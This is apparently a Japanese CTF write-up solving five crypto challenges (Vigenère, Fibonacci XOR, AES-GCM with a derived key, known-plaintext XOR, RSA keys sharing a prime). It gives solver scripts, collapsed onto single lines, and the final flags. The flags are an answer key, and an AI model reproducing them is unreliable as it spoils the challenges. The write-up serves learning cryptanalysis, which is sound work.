Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで復号する。このときフラグは"flag"から始まることを前提に鍵を求め、復号する。
鍵は"UNLP"で復号できた。
flag{w3lC0mee_Fr0m_UNLP_Arg}
XOR 2: FibMODnacci (Crypto)
フィボナッチ数列の256の剰余とのXORでフラグを復号する。
#!/usr/bin/env python3 def fib_l(cnt): a, b = 0, 1 fib_l=[] while cnt: cnt -= 1 fib_l.append(b) a, b = b, a + b return fib_l enc = '676d63647e5f627a4d580ecfbe1c0eb779283b5eef68c24e204411009455' enc = bytes.fromhex(enc) key = fib_l(len(enc)) flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ (key[i] % 256)) print(flag)
flag{WooooW_WellD0n3-G3n1uSs!}
The biggest (Crypto)
Python標準の場合、pを計算するのに時間がかかるので、sageで計算し、keyを求める。あとはnonce, tagもわかっているので、AES GCMモードの暗号を復号できる。
#!/usr/bin/env sage from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes, bytes_to_long n = ((((((42 * 17 + 50 ** 2) * 1000) // 3) * 7 + sum(range(1, 101))) * 123) + -786759022) p = (1 << n) - 1 p = str(p) key = p[1000000:1000032] print('[+] key:', key) with open('output.txt', 'r') as f: params = f.read().splitlines() nonce = bytes.fromhex(params[0].split(': ')[1]) ciphertext = bytes.fromhex(params[1].split(': ')[1]) tag = bytes.fromhex(params[2].split(': ')[1]) cipher = AES.new(key.encode(), AES.MODE_GCM, nonce) flag = cipher.decrypt_and_verify(ciphertext, tag).decode() print('[*] flag:', flag)
実行結果は以下の通り。
[+] key: 32100200577622542397816774470404
[*] flag: flag{B1gg3st_Pr1m3_3v3r!}
flag{B1gg3st_Pr1m3_3v3r!}
XOR 3: Bugbounty description (Crypto)
試しに"flag{"とXORしてみる。
>>> chr(ord('f') ^ 0x27)
'A'
>>> chr(ord('l') ^ 0x4c)
' '
>>> chr(ord('a') ^ 0x03)
'b'
>>> chr(ord('g') ^ 0x12)
'u'
>>> chr(ord('{') ^ 0x1c)
'g'文章になりそう。以下の文章を参考にXOR鍵を求める。
https://en.wikipedia.org/wiki/Bug_bounty_program
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor with open('challenge.txt', 'r') as f: ct = f.read().replace('\n', '') ct = bytes.fromhex(ct) flag_head = b'flag{' pt_head = strxor(ct[:len(flag_head)], flag_head).decode() print('[+] pt head:', pt_head) # guess pt = pt_head + ' bounty program is a' flag = strxor(ct[:len(pt)], pt.encode()).decode() print('[*] flag:', flag)
XOR鍵がフラグで、実行結果は以下の通り。
[+] pt head: A bug
[*] flag: flag{C3rTUNlP_2024_fflag}
flag{C3rTUNlP_2024_fflag}
RSA Keys (Crypto)
複数のRSA公開鍵のnの公約数が1より大きいものを探し、素因数分解する。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import * import itertools ns = [] for i in range(25): fname = 'challenge/public-%d.txt' % i with open(fname, 'r') as f: pub_data = f.read() pubkey = RSA.importKey(pub_data) n = pubkey.n e = pubkey.e assert e == 65537 ns.append(n) e = 65537 for (n0, n1) in list(itertools.combinations(ns, 2)): p = GCD(n0, n1) if p > 1: idx = ns.index(n0) q = n0 // p break phi = (p - 1) * (q - 1) d = inverse(e, phi) ct_fname = 'challenge/ciph-%d.txt' % idx with open(ct_fname, 'rb') as f: c = bytes_to_long(f.read()) m = pow(c, d, n0) flag = long_to_bytes(m).decode() print(flag)
flag{LosPrimosSeanUnidos}